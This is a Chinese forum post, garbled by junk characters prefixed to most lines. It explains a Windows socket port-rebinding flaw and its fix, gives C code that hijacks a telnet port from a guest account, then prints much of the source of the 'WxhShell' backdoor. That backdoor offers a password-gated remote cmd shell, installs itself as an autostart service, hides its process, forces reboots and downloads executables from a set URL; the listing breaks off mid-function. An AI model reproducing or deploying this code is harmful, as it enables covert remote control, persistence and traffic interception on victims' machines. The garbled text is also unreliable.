在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
yWX:`*GV s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
cFuvi^n\ { >4exyu6 saddr.sin_family = AF_INET;
`qr[0wM `FmI?:Cv saddr.sin_addr.s_addr = htonl(INADDR_ANY);
2I#fwsb _A%z^&k(i bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
-M(:z ob0clJX 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
,?`$~8 3RGVH, 这意味着什么?意味着可以进行如下的攻击:
))k^7g9M` 4}=]QQoE 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
kOkgsQQ 1Z*-@%RX 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
B8C"i%8V) IY :iGn8R 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
*S<>_R 8 am@\$Sa4 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
l tQ:c '8dgYj 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
7';PI!$ f?
ko%c_p 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
FIW*Nr 7@C:4c@0 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
V!~uGf 8$@gAlI^ #include
}Z%*gfp #include
-a/5 #include
X $cW!a #include
tl0_as
DWORD WINAPI ClientThread(LPVOID lpParam);
9[8?'`m int main()
0oM~e {
bJGT^N@ WORD wVersionRequested;
w^P4_Yr[T DWORD ret;
l|\Q~ D!o WSADATA wsaData;
iPI6 _h BOOL val;
\@tt$ m% SOCKADDR_IN saddr;
>Rx^@yQ!+z SOCKADDR_IN scaddr;
O cm int err;
ZJI|762, SOCKET s;
MW`q*J`Yo SOCKET sc;
-l$]>J~ int caddsize;
{3`9A7bG HANDLE mt;
z<s]Z DWORD tid;
^Cpvh}1# wVersionRequested = MAKEWORD( 2, 2 );
Wh 8fC(BE err = WSAStartup( wVersionRequested, &wsaData );
;h] zN if ( err != 0 ) {
nj
#Ab printf("error!WSAStartup failed!\n");
>fQ-(io return -1;
eK4\v:oG1 }
IO|">a6 saddr.sin_family = AF_INET;
S'2B *H:;pIWP //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
l}Jf;C*j1z m
{wMzsQ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
+KXg&A/^ saddr.sin_port = htons(23);
S}ZM;M if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
%6dFACv {
YVqhX]/ printf("error!socket failed!\n");
zj"J~s;? return -1;
1JJQ(b }
"4}{Z)&R2 val = TRUE;
El]Rrku //SO_REUSEADDR选项就是可以实现端口重绑定的
9cX
~ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
uiM*!ge {
]J:?@}\^ printf("error!setsockopt failed!\n");
uRwIxT2 return -1;
Gl`Yyw@84 }
ImyB4welo //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
~vBmW_j //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
Y0aO/6 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
bU(t5
[ Bk~WHg>@G if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
fqFE GyeNr {
4LJUO5(y@ ret=GetLastError();
}4 5| printf("error!bind failed!\n");
RY&Wvkjh return -1;
uFL~^vz }
_U%!&_m6 listen(s,2);
k9'%8(7M: while(1)
lMF j"x\ {
``$At ,m caddsize = sizeof(scaddr);
q2Ax-# //接受连接请求
,]42v? sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
fG2\p&z if(sc!=INVALID_SOCKET)
bu,Z' {
HG5|h[4Gt mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
h 5t,5e} if(mt==NULL)
!7P 1%/ {
2?nK71c" printf("Thread Creat Failed!\n");
$ZH$x3; break;
`2Ju[P }
z?Hvh }
#/MUiV CloseHandle(mt);
B/c_pRl; }
"Z#97Jc+J closesocket(s);
t8E'd:pE WSACleanup();
w J/k\ return 0;
?SkYFa`u* }
J`Q#p%W DWORD WINAPI ClientThread(LPVOID lpParam)
-r_z,h| {
@;"HslU\Q SOCKET ss = (SOCKET)lpParam;
2_
< SOCKET sc;
,H'O`oV!1E unsigned char buf[4096];
@{j'Pf' SOCKADDR_IN saddr;
Z; r}Gm long num;
0jro0f' DWORD val;
xbxU`2/ DWORD ret;
Vdjf
F&q //如果是隐藏端口应用的话,可以在此处加一些判断
k?o(j/ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
TWK(vEDM saddr.sin_family = AF_INET;
"9Sxj saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
hIuKs5` saddr.sin_port = htons(23);
L ![b f5T if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
aqK<}jy {
9mIq9rQ|* printf("error!socket failed!\n");
vHCz_ FV return -1;
f5IO<(:E^ }
q%]0%S? val = 100;
o6P)IZ1 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Mmq{]q~At {
(@vu/yN ret = GetLastError();
dBE
:rZu return -1;
_S7GkpoK }
O{y2tz3 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
<VS\z(K {
5 S$*YRp ret = GetLastError();
\h~;n)FI return -1;
3l0x~ }
a*0gd-e0@ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
CP)x; {
3ybEQp9 printf("error!socket connect failed!\n");
$5z
O=` closesocket(sc);
'-p<E"#4Z closesocket(ss);
8p }E return -1;
hs}nI/# }
H,9e<x#own while(1)
]xBQ7Xqf| {
7rw}q~CE5 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
M$d DExd~ //如果是嗅探内容的话,可以再此处进行内容分析和记录
US 9cuah1/ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
44B)=p7
num = recv(ss,buf,4096,0);
uli,@5%\ if(num>0)
2u4aCfIx send(sc,buf,num,0);
s
de|t else if(num==0)
Lj6$?(x} break;
m;)[gF num = recv(sc,buf,4096,0);
#uVH~P5TM if(num>0)
_V^^%$ send(ss,buf,num,0);
id8a#&t] else if(num==0)
ABvB1[s# break;
yeqZPzn }
T52A}vf4 closesocket(ss);
OWT5Bjl closesocket(sc);
@ {\q1J> return 0 ;
hJ 4]GA' }
by,"Orpwq; .e%PK[o r%A- ==========================================================
; 6Js
xG@zy4 下边附上一个代码,,WXhSHELL
y((I2g1rv d#cw`h<c~ ==========================================================
`6koQZm /DA'p [, #include "stdafx.h"
,{MA90! ig3HPlC #include <stdio.h>
7'\<\oT
#include <string.h>
eSHyA+F #include <windows.h>
_PZGns,u #include <winsock2.h>
ue@ fry #include <winsvc.h>
#?-2f{ #include <urlmon.h>
a[bu{Z]% gBGUGjVj #pragma comment (lib, "Ws2_32.lib")
2'UWPZgE #pragma comment (lib, "urlmon.lib")
$x# 0m i;>Yx# #define MAX_USER 100 // 最大客户端连接数
`Nmw #define BUF_SOCK 200 // sock buffer
Y4q; #define KEY_BUFF 255 // 输入 buffer
b"n0Yk1 1Ys6CJ# #define REBOOT 0 // 重启
]JF>a_2wG #define SHUTDOWN 1 // 关机
~{lSc/SP| N#
$ob9 #define DEF_PORT 5000 // 监听端口
{?yZdL:m) aGY R:jR$ #define REG_LEN 16 // 注册表键长度
31v0V:j #define SVC_LEN 80 // NT服务名长度
_{0'3tI7 {2QCdj46 // 从dll定义API
<WhdQKFf- typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
,Axk\7- typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
0<Q['l4Ar typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
y}Ji( q~ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
FJxg9!%d 6jz6
// wxhshell配置信息
+ve S~ struct WSCFG {
r$<-2lW int ws_port; // 监听端口
;Qe-y|> char ws_passstr[REG_LEN]; // 口令
H8@1Kt int ws_autoins; // 安装标记, 1=yes 0=no
=UY)U- char ws_regname[REG_LEN]; // 注册表键名
?Vg251-H char ws_svcname[REG_LEN]; // 服务名
Yl}'hRp char ws_svcdisp[SVC_LEN]; // 服务显示名
>G`Uc&= char ws_svcdesc[SVC_LEN]; // 服务描述信息
U4`6S43ki char ws_passmsg[SVC_LEN]; // 密码输入提示信息
rD^ b{]E3 int ws_downexe; // 下载执行标记, 1=yes 0=no
;\1/4;m char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
oihn`DY{ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
kF{'?R5w G':wJ7[]` };
i" 0]L5=P ,6N|?<26O // default Wxhshell configuration
k2]fUP struct WSCFG wscfg={DEF_PORT,
WTWONO> "xuhuanlingzhe",
l;F\s&^ 1,
V\Q=EsHj
"Wxhshell",
",&^ f "Wxhshell",
7T7
A[A\ "WxhShell Service",
:'hc&wk` "Wrsky Windows CmdShell Service",
,_+Gb "Please Input Your Password: ",
y^OT0mZkg 1,
jTSN`R9@ "
http://www.wrsky.com/wxhshell.exe",
5t('H`,2 "Wxhshell.exe"
K+WbxovXU };
]Q8[,HTG 3:H[S_q // 消息定义模块
hD)'bd char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
S1d^mu char *msg_ws_prompt="\n\r? for help\n\r#>";
?LxBH-o( char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
>oD,wSYV~ char *msg_ws_ext="\n\rExit.";
D^m`&asC char *msg_ws_end="\n\rQuit.";
<I
5F@pe' char *msg_ws_boot="\n\rReboot...";
GvB;o^Wd char *msg_ws_poff="\n\rShutdown...";
;,WI_iP(w char *msg_ws_down="\n\rSave to ";
Chso]N.1 ;*J_V/&? char *msg_ws_err="\n\rErr!";
+mu.W
r char *msg_ws_ok="\n\rOK!";
%2q0lFdcM !4Oj^yy% char ExeFile[MAX_PATH];
4`X]$. int nUser = 0;
,`Yx(4!rR HANDLE handles[MAX_USER];
>IT19(J;A int OsIsNt;
R(t1Ei.-? " z8iuF SERVICE_STATUS serviceStatus;
f*%Y]XL;% SERVICE_STATUS_HANDLE hServiceStatusHandle;
t>KvR!+`g +sY8<y@% // 函数声明
L>3- z>u, int Install(void);
|XrGf2P9u int Uninstall(void);
Jn\@wF9xd int DownloadFile(char *sURL, SOCKET wsh);
/z)H7s+ int Boot(int flag);
evQk,;pIm void HideProc(void);
8MZ:= int GetOsVer(void);
dEu\}y| int Wxhshell(SOCKET wsl);
QJH(( void TalkWithClient(void *cs);
C#l9MxZE int CmdShell(SOCKET sock);
#;(Q \ int StartFromService(void);
)k~{p;Ke int StartWxhshell(LPSTR lpCmdLine);
B]nu \! [G<SAWFg7 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
l0&U7gr VOID WINAPI NTServiceHandler( DWORD fdwControl );
$/)0iL{0 Hw\hTTK // 数据结构和表定义
S=zW
wo$ SERVICE_TABLE_ENTRY DispatchTable[] =
Ly~s84k_po {
b~td^ {wscfg.ws_svcname, NTServiceMain},
JY0}#FtgV {NULL, NULL}
m1#,B<6 };
lHc|:vG? JTS<n4<a // 自我安装
gk^`-`P int Install(void)
'-2|GX_o {
yyv<MSU8 char svExeFile[MAX_PATH];
b/g~;| < HKEY key;
!#TM%w strcpy(svExeFile,ExeFile);
#W2#'J:l 3;er.SFu{ // 如果是win9x系统,修改注册表设为自启动
,AuejMd if(!OsIsNt) {
OlcWptM$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
[E:-$R RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
#+SdX[N RegCloseKey(key);
o#frNT} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
d$<1Ma} RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
KKGwMJku} RegCloseKey(key);
_n12Wx{ return 0;
2O+fjs }
:}+m[g }
I`KBj6n }
'U{6LSaCb else {
yiAusl; QV*W#K\7q // 如果是NT以上系统,安装为系统服务
N,?D<NjXl SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
wg{Y6XyH if (schSCManager!=0)
?{KC@c*c {
G}0fk]%\: SC_HANDLE schService = CreateService
'k!V!wcD^y (
idGhWV' schSCManager,
nH(Hk%~ wscfg.ws_svcname,
^#,cWG}z wscfg.ws_svcdisp,
h@D</2> SERVICE_ALL_ACCESS,
;h#nal>w@S SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
}c;h:CE# SERVICE_AUTO_START,
]zR,Y=
# SERVICE_ERROR_NORMAL,
~8^)[n+)x svExeFile,
%
ovk}}%; NULL,
tX.{+yyU NULL,
Dwi[aC+k NULL,
^`Qh*:T$ NULL,
; J40t14u NULL
K)n0?Q_> );
ey3;rY1 if (schService!=0)
WA 79(B {
xrky5[XoD CloseServiceHandle(schService);
Co^a$K CloseServiceHandle(schSCManager);
^"\.,Y strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
?$\y0lHw/7 strcat(svExeFile,wscfg.ws_svcname);
G9uWn%5r if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
7LdNE|IP RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
s7#|'jhZt RegCloseKey(key);
fl18x;^I return 0;
tf@x} }
?G>#'T[ }
R
WU,v{I9 CloseServiceHandle(schSCManager);
`O/RNMaC }
UZUG?UUM }
&5u[q S.Fip_ return 1;
#O.-/&Z }
^. i;, pd{;`EW| // 自我卸载
YJ{d\j int Uninstall(void)
'd@Vusq}2 {
4$+9k;m' HKEY key;
_\Cd. UW[{Y|oE if(!OsIsNt) {
"@[xo7T if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
~-w RegDeleteValue(key,wscfg.ws_regname);
fJ3qL#' RegCloseKey(key);
#2!M+S if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
C4P7, RegDeleteValue(key,wscfg.ws_regname);
[+st?;"GF RegCloseKey(key);
{M?!nS6t return 0;
Px4zI9;cB }
K,IPVjS }
(A*r&Ak[ }
ab 1\nzpd else {
wzMWuA4vX :l>T~&/98 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
oLn| UWe_ if (schSCManager!=0)
XjwTjgL< {
6zLz<p? SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
G\H@lFh if (schService!=0)
'Sc3~lm(dH {
x./jTebeO if(DeleteService(schService)!=0) {
-7">A~c CloseServiceHandle(schService);
[21tT/ CloseServiceHandle(schSCManager);
EVj48 return 0;
f41!+W= }
k-
sbZL CloseServiceHandle(schService);
=fHt|}.K }
+WwQ!vWWd CloseServiceHandle(schSCManager);
`z3?ET }
y( MF_'l }
I01On>"@7 j<+iL]b return 1;
vfegIoZ }
@Ds? @ z#k~ // 从指定url下载文件
h3p 3~xq int DownloadFile(char *sURL, SOCKET wsh)
ZrA\a#z"< {
nL+*Ja HRESULT hr;
}
2)s% char seps[]= "/";
F;ONo.v; char *token;
<$D)uY K char *file;
JZL!(>tI char myURL[MAX_PATH];
6XQ)Q)
char myFILE[MAX_PATH];
@R2|=ox 3<+l.Wly strcpy(myURL,sURL);
4kg9R^0 token=strtok(myURL,seps);
[1nI%/</> while(token!=NULL)
>/bl
r}5
H {
O~,^x$ve file=token;
A{6ZEQAh> token=strtok(NULL,seps);
ydns_Z }
(rwbF %q*U[vv GetCurrentDirectory(MAX_PATH,myFILE);
T>uLqd{hH strcat(myFILE, "\\");
Z^fF^3x strcat(myFILE, file);
e('c9 Y send(wsh,myFILE,strlen(myFILE),0);
\R-u+ci$ZY send(wsh,"...",3,0);
TVFGonVY hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
>uuX<\cW if(hr==S_OK)
#Y18z5vo return 0;
4UL-j else
pb{P[-f return 1;
ldX]A#d. a|7V{pp=M }
A:NY:#uC sG VC+!E // 系统电源模块
f8&=D4)-w int Boot(int flag)
"Z{^i3gN {
;OKQP~^iH2 HANDLE hToken;
MW$9,[ TOKEN_PRIVILEGES tkp;
DSjo%Brd- _?r+SRFn if(OsIsNt) {
So8P8TCK OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
^2??]R&Q
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
1Xs!ew)> tkp.PrivilegeCount = 1;
8%|x) tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
3?geJlD4 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
k{bba=< if(flag==REBOOT) {
isd[l-wAmf if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
c"z%AzUV' return 0;
qe$K6A %Yd }
pj )I4C) else {
!.J~`Y'd_ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
7 Ow7| return 0;
vB
Jva8;Q }
o&AUB`.9~ }
8zGzn%^ else {
14&EdTG. if(flag==REBOOT) {
YG8oy!Zl if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
M)xK+f2_[ return 0;
@fK`l@K }
]S[r$<r$ else {
B 3h<K} if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
+|?c_vD return 0;
bCrB'&^t }
`Q8 D[ }
7/1S5yUr| .Sn1YAhE return 1;
z%KChU }
MQ+ek4 9C.cz\E // win9x进程隐藏模块
l>iU Q&V void HideProc(void)
pE<' '` {
O92Y d$S JU@$( HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
L8G4K) if ( hKernel != NULL )
R3PhKdQ" {
st2>e1vg pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
~V&ReW/ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
%FU[j^ FreeLibrary(hKernel);
`R> O5Rv }
UE4#j\ F"=MU8 return;
fz&}N`n }
uS'ji
k} 39j d}]e // 获取操作系统版本
(Gn[T1p? int GetOsVer(void)
,fw[ J {
6bGD8; OSVERSIONINFO winfo;
P1QJ'eC;T winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
:tqjm: GetVersionEx(&winfo);
D'h2 DP! if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
s]iOC6v return 1;
^ztf:'l@C else
~30Wb9eL return 0;
Cf7\>U-> }
_&/Zab5 eFQi
K6`i // 客户端句柄模块
mSfhl(<L int Wxhshell(SOCKET wsl)
XV>6;!=E {
ej;taKzj SOCKET wsh;
6dL>Rzl$Dk struct sockaddr_in client;
X$9QW3.M DWORD myID;
`<zb }gW/heUE while(nUser<MAX_USER)
]3xa{h~4 {
PHvjsA%" int nSize=sizeof(client);
0UJ`<Bfd wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
~ ""MeaM8[ if(wsh==INVALID_SOCKET) return 1;
LrMFzd}_O (J&Xo.<Z- handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
Ij1]GZ`A( if(handles[nUser]==0)
4C%>/*%8> closesocket(wsh);
2.D!4+& else
b3xkJ&Z nUser++;
dV{Hn {( }
d~jtWd|? WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
?(q*U!=
=h::VB}Lv return 0;
OLNn3
J }
l;*lPRoW, w3qf7{b // 关闭 socket
Qz+d[%Q}x void CloseIt(SOCKET wsh)
|OZ>/l { {
.)>/!|i closesocket(wsh);
)8 :RiG2B nUser--;
Y@H,Lk ExitThread(0);
i?>>
9f@F }
t;dQ~e20 "42$AaS // 客户端请求句柄
xdfvme[ void TalkWithClient(void *cs)
&JhIn%=- {
CY3 \:D0I {O kik}Oh SOCKET wsh=(SOCKET)cs;
AKKU-5
B9c char pwd[SVC_LEN];
v?D
kDnta char cmd[KEY_BUFF];
# )mkD4 char chr[1];
N~}v:rK>g int i,j;
h2|vB+W- wYQ1Z while (nUser < MAX_USER) {
8U2wH \kV7NA if(wscfg.ws_passstr) {
wGzXp5
dl if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
;}eEG{`Y //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
t7oz9fSz=? //ZeroMemory(pwd,KEY_BUFF);
M-Z6TL i=0;
GQ-e$D@SfB while(i<SVC_LEN) {
_X%6 +0M
Gj7QGIKx // 设置超时
Ec*--]j*c fd_set FdRead;
=!S@tuY struct timeval TimeOut;
I6hhU;)C FD_ZERO(&FdRead);
Tc3ih~LvG FD_SET(wsh,&FdRead);
<[3lV)~t TimeOut.tv_sec=8;
e(n2+S#N TimeOut.tv_usec=0;
Eo {1y int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
GrLM${G if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
[2QY R5NRCI if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
p~,3A:i pwd
=chr[0]; ;ad9{":J#B
if(chr[0]==0xd || chr[0]==0xa) { \9>g;qPg}
pwd=0; XU;{28P
break; Pzk[^z$C
} ]m/@wW9
i++; )-Mn"1ia
} vbWJhjK0h
"]SJbuzh
// 如果是非法用户,关闭 socket c+E//X|
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Y uw
E 0
} f0cYvL]
4uO
@`0:x
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); h=v[i!U-eY
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u,Q_WR-wJ
Lem\UD$D`
while(1) { /\ ,_P
bG5^h
ZeroMemory(cmd,KEY_BUFF); Ersr\ZB
GG@I!2,_
// 自动支持客户端 telnet标准 7E!";HT
j=0; w
L/p.@
while(j<KEY_BUFF) { M73VeV3DL
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8`AcS|k
cmd[j]=chr[0]; xP{HjONu
if(chr[0]==0xa || chr[0]==0xd) { mc0sdb,c$
cmd[j]=0; tf$PaA
break; d$"G1u~%
} f7_\).T
j++; abTDa6 /`v
} c]s(u+i
dDv{9D,
// 下载文件 B&%L`v2[
if(strstr(cmd,"http://")) { f"ZqA'KB#
send(wsh,msg_ws_down,strlen(msg_ws_down),0); @MN}^umx`
if(DownloadFile(cmd,wsh)) ;e#>n!<u
send(wsh,msg_ws_err,strlen(msg_ws_err),0); *tTP8ZCQ[
else aWHd}%
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2p$n*|T&c
} \yJZvhUk
else { @ 7Q*h
++Rdv0~
switch(cmd[0]) { M&|sR+$^
S4l)TtY
// 帮助 dJdD"xj
case '?': { D_l/Gxdpr
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); g^s+C Z
break; wq:b j=j
} M(;y~|e
// 安装 %gV)arwK
case 'i': { q;~R:}?@
if(Install()) 5}-)vsa`
send(wsh,msg_ws_err,strlen(msg_ws_err),0); `YFkY^T
else yM (_P0
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #6*V7@9]3|
break; ZfFIX5Qd\
} oJlN.Q#u&
// 卸载 a-T*'F
case 'r': { O tXw/
if(Uninstall()) [ E$$nNs
send(wsh,msg_ws_err,strlen(msg_ws_err),0); G]L0eV
else ) >>u|#@z
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 92P,:2`a
break; 3n.+_ jQ>s
} ;eS;AHZ
// 显示 wxhshell 所在路径 >%iu!H"
case 'p': { %-@'CNP
char svExeFile[MAX_PATH]; rtB|N-
strcpy(svExeFile,"\n\r"); +l2e[P+qA
strcat(svExeFile,ExeFile); Ux_EpC
send(wsh,svExeFile,strlen(svExeFile),0); gZw\*9Q9
break; 4 "pS
} C$]5l;`
// 重启 U-Af7qO
case 'b': { #t"9TP
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (A7T}znG
if(Boot(REBOOT)) *)j@G:
send(wsh,msg_ws_err,strlen(msg_ws_err),0); (/T+Wpy?
else { XoDJzrL#
closesocket(wsh); L/qZ ; {
ExitThread(0); ]h #WkcXQ
} GIl:3iB49
break; |RHO+J
} _Ct}%-,4
// 关机 EsT0"{
case 'd': { ggrI>vaw
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {M`
if(Boot(SHUTDOWN)) L\QQjI{
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3M}AxE u
else { '4J&Gp x
closesocket(wsh); B*9
ExitThread(0); fswZM\@
} Eem 2qKj
break; CMC?R,d
} P/FrE~
// 获取shell MB}:GY?
case 's': { .(`(chRa}
CmdShell(wsh); 3cmbK
closesocket(wsh); 5|yZEwq
ExitThread(0); !Bag}|#
break; =L:[cIRrT;
} <2n'}&F
// 退出 Wl,%&H2S<
case 'x': { H"2 U)HJl
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); G
i$
CloseIt(wsh); +ckMT3
break; 2;&mkcK'
} ]MC/t5vC u
// 离开 vad|Rp l
case 'q': { \V._Z>]
send(wsh,msg_ws_end,strlen(msg_ws_end),0); b OW}"
closesocket(wsh); UP\8w#~
WSACleanup(); ].LJt['%8
exit(1); gs$3)t
break; [Dnusp7e
} eT;AAGql
} [fd~nD#.
} t$aVe"uM
6!*K/2:O
// 提示信息 H(MB5
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #X4LLS]VV
} a a4$'8s
} !&Z*yH
)m|C8[ u
return; A3xbT\xdg
} [`q.A`Fd
bSQ_"
// shell模块句柄 N[>:@h
int CmdShell(SOCKET sock) "_t4F4z
{ X88F>1}
STARTUPINFO si; 8a7YHUL<3i
ZeroMemory(&si,sizeof(si)); ,&0Z]*
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `$H7KI G
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Xu6jHJ@ x
PROCESS_INFORMATION ProcessInfo; TV?
^c?{5
char cmdline[]="cmd"; n:F@gZd`
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); VIetcs
return 0; "pYe-_"@
} Pv#KmSA9
6s'[{Ov
// 自身启动模式 VZ;@S3TS
int StartFromService(void) O)l%OOv
{ %j%%Rn
typedef struct 6{L F-`S%
{ e!6eZ)l
DWORD ExitStatus; ubD#I{~J
DWORD PebBaseAddress; %@>YNPD`E
DWORD AffinityMask; #sL/y
DWORD BasePriority; dZF8R
ULONG UniqueProcessId; 'HCnB]1
